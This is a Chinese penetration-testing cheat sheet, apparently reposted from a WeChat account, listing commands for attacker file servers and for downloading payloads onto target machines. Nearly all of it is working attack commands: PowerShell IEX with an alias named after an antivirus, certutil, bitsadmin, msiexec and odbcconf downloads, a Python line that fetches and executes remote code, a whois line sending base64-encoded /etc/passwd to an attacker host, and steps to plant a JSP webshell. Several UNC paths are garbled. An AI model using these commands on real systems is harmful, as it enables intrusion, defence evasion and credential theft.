【每日技能+1】攻防渗透中15+种快速下载文件的命令&在线工具

实战中，可以根据实际环境开启 HTTP Server 服务，命令如下：

Python HTTP:python -m SimpleHTTPServer 8080
Python3 HTTP:python3 -m http.server 8080
Python FTP:python -m pyftpdlib -p 8080
Python3 SMB:python3 impacket-smbserver.py files . -port 8080
PHP 5.4+:php -S 0.0.0.0:8080
Ruby:ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 8080, :DocumentRoot => Dir.pwd).start'
Ruby 1.9.2+:ruby -run -e httpd . -p 8080
busybox httpd:busybox httpd -f -p 8080

文件下载命令如下：

PowerShell - IWR:

powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.100.99:8080/test.exe -OutFile exploit.exe"

PowerShell - IEX:

powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.100.99:8080/test.exe', exploit.exe)"

CMD - Certutil:

certutil.exe -urlcache -split -f http://192.168.100.99:8080/test.exe exploit.exe

CMD - SMB:

copy \192.168.100.99filestest.exe exploit.exe

Linux - wget:

wget http://192.168.100.99:8080/test.exe -O exploit.exe

Linux - curl:

curl http://192.168.100.99:8080/test.exe -o exploit.exe

Windows Bitsadmin:

bitsadmin /rawreturn /transfer down "http://192.168.100.99:8080/test.exe" c:\exploit.exe

Windows msiexec:

msiexec /q /i http://192.168.100.99:8080/test.exe

Windows msiexec:

msiexec /q /%os:~1,1%http://192.168.100.99:8080/test.exe

Windows PowerShell:

powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://192.168.100.99:8080/payload.ps1')

Windows odbcconf(执行包含特殊功能的DLL，这种DLL文件不需要使用.dll后缀，而且可以通过UNC/WebDAV下载):

odbcconf /s /a {regsvr \http://192.168.100.99:8080/folderpayload_dll.txt}

Python Download:

python -c "import urllib2; exec urllib2.urlopen('http://192.168.100.99:8080/test.exe').read();"

Windows IPC$:

copy 192.168.100.99c$test.exe C:exploit.exe

Linux whois:

whois -h 192.168.100.99 -p 8080 `cat /etc/passwd | base64`
nc -lvvp 8080 | sed "s/ //g" | base64 -d

CertReq.exe 下载:

CertReq -Post -config http://192.168.100.99:8080/ c:windowswin.ini output.txt

CertReq.exe 上传:

CertReq -Post -config http://192.168.100.99:8080/ c:windowswin.ini and show response in terminal

Windows echo 写入base64+url编码的webshell，CertUtil进行解码:

#写入：
echo%20base64+URL编码的webshell%20>webshell.jsp
#CertUtil解码:
CertUtil -decode Base64编码文件名(可包含路径) 解码后生成的文件名(可包含路径)
#注意：CertUtil解码不能与存在的文件名重复

在线生成文件下载命令工具：

https://forum.ywhack.com/bountytips.php?download

原文始发于微信公众号（贝雷帽SEC）：【每日技能+1】攻防渗透中15+种快速下载文件的命令&在线工具